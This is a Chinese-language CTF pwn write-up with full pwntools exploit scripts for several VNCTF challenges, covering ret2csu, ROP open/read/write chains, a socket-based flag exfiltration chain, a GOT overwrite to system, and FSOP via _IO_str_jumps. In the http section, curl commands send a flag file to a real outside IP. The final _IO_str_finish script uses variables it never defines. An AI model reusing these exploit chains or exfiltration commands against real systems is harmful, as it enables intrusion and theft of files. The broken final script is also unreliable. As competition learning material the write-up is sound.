vnctf clear_got 刚开始泄露libc地址算基地址猜版本号本地能打通,远程不行,看了wp发现用了csu,自己复现时发现call [r12+rbx*8]
这段代码不好搞,wp也很巧妙,使用了bss上面的一个地址(能读的也只有bss段,是我疏忽了,思路挺好想到的),最后我的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *context.log_level='debug' sh=process('./pwn' ) elf=ELF('./pwn' ) def exp (): gdb.attach(sh,'b *0x400762' ) sh.recvuntil('Welcome to VNCTF! This is a easy competition.///' ) syscall_addr=0x000000000040077e bss_addr=0x601000 gadget1=0x4007EA gadget2=0x4007D0 payload='a' *0x68 +p64(gadget1) payload+=p64(0 ) payload+=p64(1 ) payload+=p64(0x600e40 ) payload+=p64(0x3b ) payload+=p64(bss_addr) payload+=p64(0 ) payload+=p64(gadget2) payload+='a' *0x8 payload+=p64(0 ) payload+=p64(1 ) payload+=p64(bss_addr+0x8 ) payload+=p64(0 ) payload+=p64(0 ) payload+=p64(bss_addr) payload+=p64(syscall_addr) payload+=p64(gadget2) payload=payload.ljust(0x100 ,'\x00' ) sh.send(payload) m='/bin/sh\x00' +p64(syscall_addr) m=m.ljust(0x3b ,'\x00' ) sleep(2 ) sh.send(m) sh.interactive() exp()
rop tcp服务的模拟,他会检查上传的tcp报文的格式,传数据的时候得绕过这个检查,然后会把传上来的数据拷贝到栈上,造成了栈溢出,远程环境很容易崩,多试几次,这也是我比赛期间内唯一做出来的题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from pwn import *context.log_level='debug' sh=remote('node4.buuoj.cn' ,28714 ) elf=ELF('./pwn' ) libc=ELF('./libc-2.31.so' ) main_addr=0x401A5E bss_addr=0x404000 ''' 0x0000000000401bb3: pop rdi; ret; 0x0000000000401bb1: pop rsi; pop r15; ret; 0x000000000011c371: pop rdx; pop r12; ret; x000000000004a550: pop rax; ret; 0x000000000011c371: pop rdx; pop r12; ret; 0x0000000000066229: syscall; ret; 0x0000000000032b5a: pop rsp; ret; 0x0000000000043ae8: pop rax; ret; 0x0000000000001b96: pop rdx; ret; 0x00000000000d2745: syscall; ret; 0x0000000000003960: pop rsp; ret; ''' pop_rdi=0x0000000000401bb3 pop_rsi_r15=0x0000000000401bb1 def sumbit (): sh.sendlineafter('4. Quit.\n' ,'3' ) def free (idx ): sh.sendlineafter('4. Quit.\n' ,'2' ) sh.sendlineafter('Which?' ,str (idx)) def get_v5_again (v5,string ): i=len (string) m=0 while (m<=i-2 ): if m==16 : m+=2 continue s=ord (string[m])+(ord (string[m+1 ])<<8 ) v5=v5^s m+=2 return v5 def tcp_context (v6,i,context ): sh.sendlineafter('4. Quit.\n' ,'1' ) tcp_message=p16(0x766e ) tcp_message+=p16(0x28b7 ) tcp_message+=p32(v6) tcp_message+=p32(1 ) tcp_message+=p16(i) tcp_message+=p16(1 ) tcp_message+=p16(1 ) tcp_message+=p16(0 ) tcp_message+=p16(1 ) tcp_message+=p16(0xffff ) tcp_message+=context tcp_message=tcp_message.ljust(0x1000 ,'a' ) v5=get_v5_again(0x140b ,tcp_message) print hex (v5) real_tcp_message='' for i in range (len (tcp_message)): if i ==16 : real_tcp_message+=str (chr (v5&0xff )) continue if i==17 : real_tcp_message+=str (chr ((v5>>8 )&0xff )) continue real_tcp_message+=tcp_message[i] sleep(7 ) sh.send(real_tcp_message) def exp (): v5=5131 tcp_context(1 ,6 ,'sss' ) tcp_context(1 +4096 ,6 ,'sss' ) tcp_context(1 +4096 +4096 ,6 ,'sss' ) write_plt=elf.plt['write' ] write_got=elf.got['write' ] payload='a' *(0x68 +8 )+p64(pop_rsi_r15)+p64(write_got)*2 +p64(write_plt)+p64(main_addr) tcp_context(1 +4096 +4096 +4096 ,6 ,payload) sleep(8 ) sumbit() sleep(1 ) sh.recvuntil('Done.\n' ) libc_base=u64(sh.recv(6 ).ljust(8 ,'\x00' ))-libc.sym['write' ] print hex (libc_base) pop_rdx_r12=libc_base+0x000000000011c371 pop_rax=libc_base+0x000000000004a550 syscall_addr=libc_base+0x0000000000066229 pop_rsp=libc_base+0x0000000000032b5a free(3 ) payload='a' *(0x68 +8 )+p64(pop_rax)+p64(0 )+p64(pop_rdi)+p64(0 )+p64(pop_rsi_r15)+p64(bss_addr)*2 payload+=p64(pop_rdx_r12)+p64(0x300 )*2 +p64(syscall_addr)+p64(pop_rsp)+p64(bss_addr+0x10 ) tcp_context(1 +4096 +4096 +4096 ,6 ,payload) sleep(8 ) sumbit() sleep(1 ) sh.recvuntil('Done.\n' ) payload='./flag' .ljust(0x10 ,'\x00' )+p64(pop_rax)+p64(2 )+p64(pop_rdi)+p64(bss_addr)+p64(pop_rsi_r15) payload+=p64(0 )*2 +p64(pop_rdx_r12)+p64(0 )*2 +p64(syscall_addr)+p64(pop_rax)+p64(0 )+p64(pop_rdi)+p64(3 ) payload+=p64(pop_rsi_r15)+p64(bss_addr+0x200 )*2 +p64(pop_rdx_r12)+p64(0x30 )*2 +p64(syscall_addr) payload+=p64(pop_rax)+p64(1 )+p64(pop_rdi)+p64(1 )+p64(pop_rsi_r15)+p64(bss_addr+0x200 )*2 payload+=p64(pop_rdx_r12)+p64(0x30 )*2 +p64(syscall_addr) sleep(0.5 ) sh.send(payload) sleep(2 ) print sh.recv() sh.interactive() exp()
冰墩墩 第一次遇见close(0);close(1);close(2)
,以为没啥,就普通的orw,结果发现自己的read根本写不上去,查了下才发现关闭了标准输入输出,所以无法再和程序交互,无法交互我一下就想起了侧信道,但是试过发现本地可以远程还是不行,咨询了学长才明白,远程关闭了标准输入输出流即远程题目的socket也就断了,所以无法判断程序的状态了,后来研究了学长的wp和官网wp稍微搞懂了一点。
思路 在远程使用socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
起一个socket客户端服务,然后使用connect连接我方服务器connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
,然后write(socketfd,flag_addr.size)
,把flag传到我方服务器上面。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from pwn import *import timecontext.log_level='debug' elf=ELF('./pwn' ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] sh=remote('node4.buuoj.cn' ,27264 ) ''' Dump of assembler code for function backDoor: 0x0000000000401349 <+0>: endbr64 0x000000000040134d <+4>: push rbp 0x000000000040134e <+5>: mov rbp,rsp 0x0000000000401351 <+8>: syscall 0x0000000000401353 <+10>: ret 0x0000000000401354 <+11>: pop rdx 0x0000000000401355 <+12>: ret 0x0000000000401356 <+13>: pop rdi 0x0000000000401357 <+14>: ret 0x0000000000401358 <+15>: pop rsi 0x0000000000401359 <+16>: ret 0x000000000040135a <+17>: pop rax 0x000000000040135b <+18>: ret 0x000000000040135c <+19>: push rax 0x000000000040135d <+20>: pop rcx 0x000000000040135e <+21>: ret 0x000000000040135f <+22>: mov rdi,rcx 0x0000000000401362 <+25>: ret 0x0000000000401363 <+26>: nop 0x0000000000401364 <+27>: pop rbp 0x0000000000401365 <+28>: ret End of assembler dump. 0x0000000000401347: leave; ret; 0x0000000000401014: call rax; 0x000000000040116C jmp rax ''' socket_addr=0x403700 +0x1a0 flag_addr=0x403700 +0x1b0 target=0x403700 +0x1c0 def exp (): pop_rax=0x000000000040135a pop_rdi=0x0000000000401356 pop_rsi=0x0000000000401358 pop_rdx=0x0000000000401354 syscall_ret=0x0000000000401351 leave_ret=0x0000000000401347 payload='a' *0x10 +p64(pop_rax)+p64(2 )+p64(pop_rdi)+p64(flag_addr) payload+=p64(pop_rsi)+p64(0 )+p64(pop_rdx)+p64(0 )+p64(syscall_ret) payload+=p64(pop_rax)+p64(0 )+p64(pop_rdi)+p64(0 )+p64(pop_rsi)+p64(target)+p64(pop_rdx) payload+=p64(0x30 )+p64(syscall_ret) payload+=p64(pop_rax)+p64(41 )+p64(pop_rdi)+p64(2 )+p64(pop_rsi)+p64(1 )+p64(pop_rdx) payload+=p64(0 )+p64(syscall_ret) payload+=p64(pop_rax)+p64(42 )+p64(pop_rdi) payload+=p64(1 )+p64(pop_rsi)+p64(socket_addr) payload+=p64(pop_rdx)+p64(0x10 )+p64(syscall_ret) payload+=p64(pop_rax)+p64(1 )+p64(pop_rdi)+p64(1 ) payload+=p64(pop_rsi)+p64(target)+p64(pop_rdx)+p64(0x30 ) payload+=p64(syscall_ret) payload=payload.ljust(0x1a0 ,'\x00' ) payload+=p64(0x0100007f901f0002 )+p64(0 ) payload+='./flag' payload=payload.ljust(0x200 ,'\x00' ) sh.send(payload) sh.interactive() exp()
注意server_addr的格式,其中ip地址和端口号都得反着写。
http 第一看这么多的伪代码,看了一个下午才看明白,然后写脚本又花了很长时间,很麻烦,但也知道了很多东西。
难点 漏洞并不难以利用,但关键的是在茫茫码海中找见他,找见就很轻松了,漏洞主要来源于一下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #得到elf_addr if ( type == 102 ) { if ( a5 > 0 ) continue ; memset (buf, 0 , 0x800 uLL); if ( *(__int64 *)&s[7 * i + 2 ] <= 4 ) { sprintf ( buf, "Let us look. Oh! That is %p -> \"%s\".\n" , (&off_6140)[*(_QWORD *)&s[7 * i + 2 ]], (&off_6140)[*(_QWORD *)&s[7 * i + 2 ]]); v9 = strlen (buf); send(acceptfd, buf, v9, 0 ); continue ; } #任意地址写 if ( type == 241 ) { if ( a5 > 2 ) goto LABEL_36; *(_QWORD *)(*(_QWORD *)&s[7 * i + 2 ] + *(_QWORD *)&s[7 * i + 4 ]) = *(_QWORD *)&s[7 * i + 6 ]; memset (buf, 0 , 0x800 uLL); sprintf (buf, "All right.I know what you say.\n" ); v11 = strlen (buf); send(acceptfd, buf, v11, 0 ); }
这是报文的目录的参数格式,在传参的时候需要base64编码(别问我怎么知道的),但是不能直接传编码后的字符串,得把后面的等号去掉才行(对比别人的wp发现的)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct s { int count; uint32_t type; uint64_t addr1; uint64_t addr2; uint64_t write_for_addr; } type==0xf1 &&a5<=2 : *(addr1+addr2)=write_for_addr; type==0x88 &&a5<=1 : printf ("%p" ,*(addr1+addr2)) type==0x66 &&a5==0 &&addr1<=4 : printf ("%p->%s" ,(&off_6140[addr1]),(&off_6140[addr1])) type==0x12 &&addr1=='ping' &strlen (&addr2)<=0xf show
然后利用上面代码的漏洞对got表发起攻击把strcmp改成system,但是注意不能system(“/bin/sh”),首先是shell的输入输出没有和socket绑定,其次当我们再次发送报文的时候会fork一个新进程来处理我们的报文,而不是发送给shell,所以需要反弹shell或者反弹flag,有很多反弹shell的命令但都没用,有两个反弹flag的命令能用。
1 2 system('curl 47.107.28.194/`cat flag`') system('curl -X POST -F \"flag=@/flag\" 47.107.28.194:8080')
最后的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *ip='node4.buuoj.cn' port=27718 context.log_level='debug' libc=ELF('./libc-2.31.so' ) elf=ELF('./pwn' ) sh=remote(ip,port) payload1=p32(1 )+p32(0x66 )+p64(4 )+p64(0 )+p64(0 ) payload1=base64.b64encode(payload1) payload1=payload1.replace('=' ,'' ) url1='GET /submit.cgi?{0} HTTP/1.0\r\n\r\n' .format (payload1) print url1sh.send(url1) sh.recvuntil('Let us look. Oh! That is ' ) elf_base=int (sh.recv(14 ),16 )-0x4070 print hex (elf_base)sh.close() sh=remote(ip,port) payload2=p32(1 )+p32(0x88 )+p64(elf_base)+p64(0x6070 )+p64(0 ) payload2=base64.b64encode(payload2) payload2=payload2.replace('=' ,'' ) url2=url1='GET /submit.cgi?{0} HTTP/1.0\r\n\r\n' .format (payload2) sh.send(url2) sh.recvuntil('OK! I give you some message!\nMessage: ' ) printf_addr=int (sh.recv(14 ),16 ) libc_base=printf_addr-libc.sym['printf' ] print hex (printf_addr)print hex (libc_base)strcmp_got=elf_base+elf.got['strcmp' ] system_addr=libc_base+libc.sym['system' ] sh.close() sh=remote(ip,port) payload3=p32(2 )+p32(241 )+p64(strcmp_got) payload3+=p64(0 )+p64(system_addr) payload3+=p32(0x22 )+"curl 47.107.28.194/`cat flag`" payload3=base64.b64encode(payload3) payload3=payload3.replace('=' ,'' ) url3='GET /submit.cgi?{0} HTTP/1.0\r\n\r\n' .format (payload3) sh.send(url3) sh.recvuntil('All right.I know what you say' ) sh.close()
总结 对pwn理解的更深了,说白了就是对指定的ip和端口发起socket连接,然后把sh.send的内容发送给这个端口的应用。
最近做题感觉漏洞利用简单,代码审计困难的题目越来越多。
FShuiMaster 存在off by null漏洞,但只能申请largebin的堆块,所以可以进行larginbinattack,然后largebin上申请到的堆块可以泄露libc地址,在堆上布置然后打io_list_all就行了,重点讲一下io_list_all,我的主要学习来源是ctfwiki,对io_list_all的攻击也叫作FSOP.
在讲解FSOP前先讲一讲io_file结构,之前在stdout泄露libc基地址的时候讲过,但不是很深入,这里再梳理一次
io_file是一组织io操作的文件结构体,当打开有io操作的设备时就会生成对应的io_file结构体,比如stdout,stdin,stderr,io_file代码如下
1 2 3 4 5 struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable ; };
file主要是对设备io操作的一些信息,vtable是一个虚表,里面记录了很多的函数地址,在io操作的时候会拿vtable里的地址跳转执行,据ctfwiki所说,在libc2.23的情况的下可以直接修改io_file_plus的vtable地址,可以伪造一个vtable然后修改io_file_plus的vtable地址指向我们的伪造的vtable(任意地址写),然后对vtable的使用情况填上ogg或者system_addr,这种方法只适合在Libc2.23使用(在libc2.23下vtable表是不可以写入的,所以不能修改vtable里的内容)。
注意io_file file并不是一个指针而是给他实际分配了空间io_file_plus的完全体实际上是这样的,其中vtable相对于io_file_plus的偏移是0xd8。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 struct _IO_FILE_plus { struct _IO_FILE file { int _flags; #define _IO_file_flags _flags char * _IO_read_ptr; char * _IO_read_end; char * _IO_read_base; char * _IO_write_base; char * _IO_write_ptr; char * _IO_write_end; char * _IO_buf_base; char * _IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; #define __HAVE_COLUMN unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1 ]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; const struct _IO_jump_t *vtable ; };
程序打开了很多设备代表着有很多的io_file_plus结构体,这些结构体以链表进行组织,其中next域是file的_chain,这个链表是单链表,链表头记录在io_list_all中,其中一般的链表头的io_file_plus是stderr
上面说了libc2.24以后不能伪造vtable了,主要是因为当使用vtable的时候就会对vtable进行范围检查,vtable得在这个范围内,虽说限制了vtable,但也存在漏洞,这个范围内也有很多我们可以利用的虚表,比如io_str_jumps或io_wfile_jumps他们里面也全部记录着函数指针,我们可以把vtable指向这两个地方比如io_str_jumps
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 const struct _IO_jump_t _IO_str_jumps libio_vtable ={ JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };
其中_IO_str_overflow和IO_str_finish是我们主要利用的函数指针,_IO_str_overflow和IO_str_finish都存在相对地址调用,如_IO_str_overflow
_IO_str_overflow new_buf= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
最后会调用fp+0xe0,然后参数是new_size,这个也是通过fp的内容计算出来的,下面是poc
1 2 3 4 5 6 7 8 9 10 11 _flags = 0 _IO_write_base = 0 _IO_write_ptr = (binsh_in_libc_addr -100 ) / 2 +1 _IO_buf_end = (binsh_in_libc_addr -100 ) / 2 _freeres_list = 0x2 _freeres_buf = 0x3 _mode = -1 vtable = _IO_str_jumps fp+0xe0 =system
题目构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pay+=p64(0 )*2 pay+= p64(0 )*2 pay+= p64(0 ) pay+= p64((libc.search('/bin/sh' ).next ()-100 )/2 +1 ) pay+= p64(0 )*2 pay+= p64((libc.search('/bin/sh' ).next ()-100 )/2 ) pay+= p64(0 )*12 pay+= p64(2 ) pay+= p64(3 ) pay+= p64(0 ) pay+= p64(0xffffffff ) pay+= p64(0 )*2 pay+= p64(libc.address+0x3e8360 ) pay+= p64(libc.sym['system' ])
只要fp这样构造然后调用_IO_str_overflow的时候最后就会执行system(‘/bin/sh’),现在问题是如何伪造io_file_plus以及如何执行_IO_str_overflow
上面提到过的,io_file_plus的头结点储存在io_list_all里面,所以可以覆盖io_list_all为我们可以控制的一段内存,比如堆,也就是说我们伪造了stferr的io_file_plus,然后在这段内存中构造上面的内容就好了。
函数IO_flush_all_lockp 会刷新所有文件流,内部会调用vtable+0x10的函数,当把vtable覆盖成io_str_jumps后vtable+0x10就是_IO_str_overflow函数地址,所以只要调用io_flush_all_lockp就好了,在程序main函数返回或者执行exit(0)或者执行abort时会调用io_flush_all_lockp函数,所以在fake_io_file_plus后触发io_flush_all_lockp就好了。
这是_IO_str_overflow的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 from pwn import *sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so' , './pwn' ], env={"LD_PRELOAD" :'/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so' }) context.log_level='debug' elf=ELF('./pwn' ) libc=ELF('/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so' ) sh.recvuntil('Please Write U Name on the Book\n\n' ) sh.sendline('root' ) def add (size,content ): sh.recvuntil('Five: Finished!\n\n' ) sh.sendline('1' ) sh.recvuntil('Number of words?' ) sh.sendline(str (size)) sh.recvuntil('please input U character' ) sh.send(content) def edit (idx,content ): sh.recvuntil('Five: Finished!\n\n' ) sh.sendline('2' ) sh.recvuntil('please input the page U want 2 change' ) sh.sendline(str (idx)) sh.recvuntil('Now Change U this page : ' ) sh.send(content) def free (idx ): sh.recvuntil('Five: Finished!\n\n' ) sh.sendline('3' ) sh.recvuntil('please Input the page U want 2 tear off' ) sh.sendline(str (idx)) sh.recvuntil('tear_off Finished\n' ) def show (idx ): sh.recvuntil('Five: Finished!\n\n' ) sh.sendline('4' ) sh.recvuntil('please Input The page U want 2 scan' ) sh.sendline(str (idx)) def exp (): add(0x440 ,'a' ) add(0x448 ,'a' ) add(0x4f0 ,'a' ) add(0x440 ,'a' ) free(0 ) edit(1 ,'a' *0x440 +p64(0x8a0 )) free(2 ) add(0x440 ,'a' ) show(1 ) libc.address=u64(sh.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-libc.sym['__malloc_hook' ]-0x10 -96 add(0x448 ,'a' ) add(0x4f0 ,'a' ) add(0x440 ,'a' ) add(0x448 ,flat({0x440 :"\x01" })) add(0x450 ,'a' ) add(0x440 ,'a' ) free(7 ) free(9 ) add(0x500 ,'a' ) add(0x440 ,'a' *8 ) show(12 ) sh.recvuntil('a' *8 ) heap_base=u64(sh.recv(6 ).ljust(8 ,'\x00' ))-0x1ce0 print hex (heap_base) add(0x440 ,'a' ) add(0x440 ,'a' ) add(0x458 ,'a' ) add(0x4f0 ,'a' ) add(0x500 ,'a' ) free(14 ) edit(15 ,'a' *0x450 +p64(0x8b0 )) free(16 ) add(0x448 ,'a' ) add(0x458 ,'a' ) add(0x4f0 ,'a' ) free(1 ) add(0x500 ,'a' ) io_list_all=libc.sym['_IO_list_all' ] edit(5 ,p64(0 )+p64(io_list_all-0x10 )+'\n' ) free(15 ) add(0x500 ,'a' ) pay = '' pay+= p64(0 )*2 pay+= p64(0 ) pay+= p64((libc.search('/bin/sh' ).next ()-100 )/2 +1 ) pay+= p64(0 )*2 pay+= p64((libc.search('/bin/sh' ).next ()-100 )/2 ) pay+= p64(0 )*12 pay+= p64(2 ) pay+= p64(3 ) pay+= p64(0 ) pay+= p64(0xffffffff ) pay+= p64(0 )*2 pay+= p64(libc.address+0x3e8360 ) pay+= p64(libc.sym['system' ]) edit(19 ,pay+'\n' ) edit(18 ,'a' *0x440 +p64(0 )) gdb.attach(sh) sh.recvuntil('Five: Finished!\n\n' ) sh.sendline('5' ) sh.interactive() exp()
io_str_finish 除了io_str_overflow以外io_str_finish这个函数指针也可以使用,也是通过io_flush_all_lockp函数这个函数调用的,只要让vtable=io_str_jumps-,这个函数调用的是fp+0xe8,在对应位置填上system_addr就行。然后fp的伪造也比io_str_overflow简单
1 2 3 4 5 6 fp->_mode = 0 fp->_IO_write_ptr = 0xffffffff fp->_IO_write_base = 0 fp->_wide_data->_IO_buf_base = bin_sh_addr (也就是 fp->_IO_write_end) fp->_flags2 = 0 fp->_mode = 0
1 2 3 4 5 6 payload=p64(0 )*2 payload+='\x00' *0x10 +p64(0 )+p64(1 ) payload+=p64(2 )+p64(binsh_addr) payload=payload.ljust(0xa8 -0x10 ,'\x00' ) payload+=p64(2 )+p64(3 )+p64(0 )+p64(0 ) payload+=p64(libc_base+libc.sym['system' ])
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 from pwn import *sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so' , './pwn' ], env={"LD_PRELOAD" :'/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so' }) context.log_level='debug' elf=ELF('./pwn' ) libc=ELF('/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so' ) sh.recvuntil('Please Write U Name on the Book\n\n' ) sh.sendline('root' ) def add (size,content ): sh.recvuntil('Five: Finished!\n\n' ) sh.sendline('1' ) sh.recvuntil('Number of words?' ) sh.sendline(str (size)) sh.recvuntil('please input U character' ) sh.send(content) def edit (idx,content ): sh.recvuntil('Five: Finished!\n\n' ) sh.sendline('2' ) sh.recvuntil('please input the page U want 2 change' ) sh.sendline(str (idx)) sh.recvuntil('Now Change U this page : ' ) sh.send(content) def free (idx ): sh.recvuntil('Five: Finished!\n\n' ) sh.sendline('3' ) sh.recvuntil('please Input the page U want 2 tear off' ) sh.sendline(str (idx)) sh.recvuntil('tear_off Finished\n' ) def show (idx ): sh.recvuntil('Five: Finished!\n\n' ) sh.sendline('4' ) sh.recvuntil('please Input The page U want 2 scan' ) sh.sendline(str (idx)) def exp (): add(0x440 ,'a' ) add(0x448 ,'a' ) add(0x4f0 ,'a' ) add(0x440 ,'a' ) free(0 ) edit(1 ,'a' *0x440 +p64(0x8a0 )) free(2 ) add(0x440 ,'a' ) show(1 ) libc.address=u64(sh.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-libc.sym['__malloc_hook' ]-0x10 -96 add(0x448 ,'a' ) add(0x4f0 ,'a' ) add(0x440 ,'a' ) add(0x448 ,flat({0x440 :"\x01" })) add(0x450 ,'a' ) add(0x440 ,'a' ) free(7 ) free(9 ) add(0x500 ,'a' ) add(0x440 ,'a' *8 ) show(12 ) sh.recvuntil('a' *8 ) heap_base=u64(sh.recv(6 ).ljust(8 ,'\x00' ))-0x1ce0 print hex (heap_base) add(0x440 ,'a' ) add(0x440 ,'a' ) add(0x458 ,'a' ) add(0x4f0 ,'a' ) add(0x500 ,'a' ) free(14 ) edit(15 ,'a' *0x450 +p64(0x8b0 )) free(16 ) add(0x448 ,'a' ) add(0x458 ,'a' ) add(0x4f0 ,'a' ) free(1 ) add(0x500 ,'a' ) io_list_all=libc.sym['_IO_list_all' ] edit(5 ,p64(0 )+p64(io_list_all-0x10 )+'\n' ) free(15 ) add(0x500 ,'a' ) payload='\x00' *0x10 +p64(0 )+p64(1 ) payload+=p64(2 )+p64(binsh_addr) payload=payload.ljust(0xa8 -0x10 ,'\x00' ) payload+=p64(2 )+p64(3 )+p64(0 )+p64(0 ) payload=payload.ljust(0xc8 ,'\x00' ) payload+=p64(libc_base+0x3e8360 -0x8 )+p64(0 ) payload+=p64(libc_base+libc.sym['system' ]) edit(19 ,payload+'\n' ) edit(18 ,'a' *0x440 +p64(0 )) gdb.attach(sh) sh.recvuntil('Five: Finished!\n\n' ) sh.sendline('5' ) sh.interactive() exp()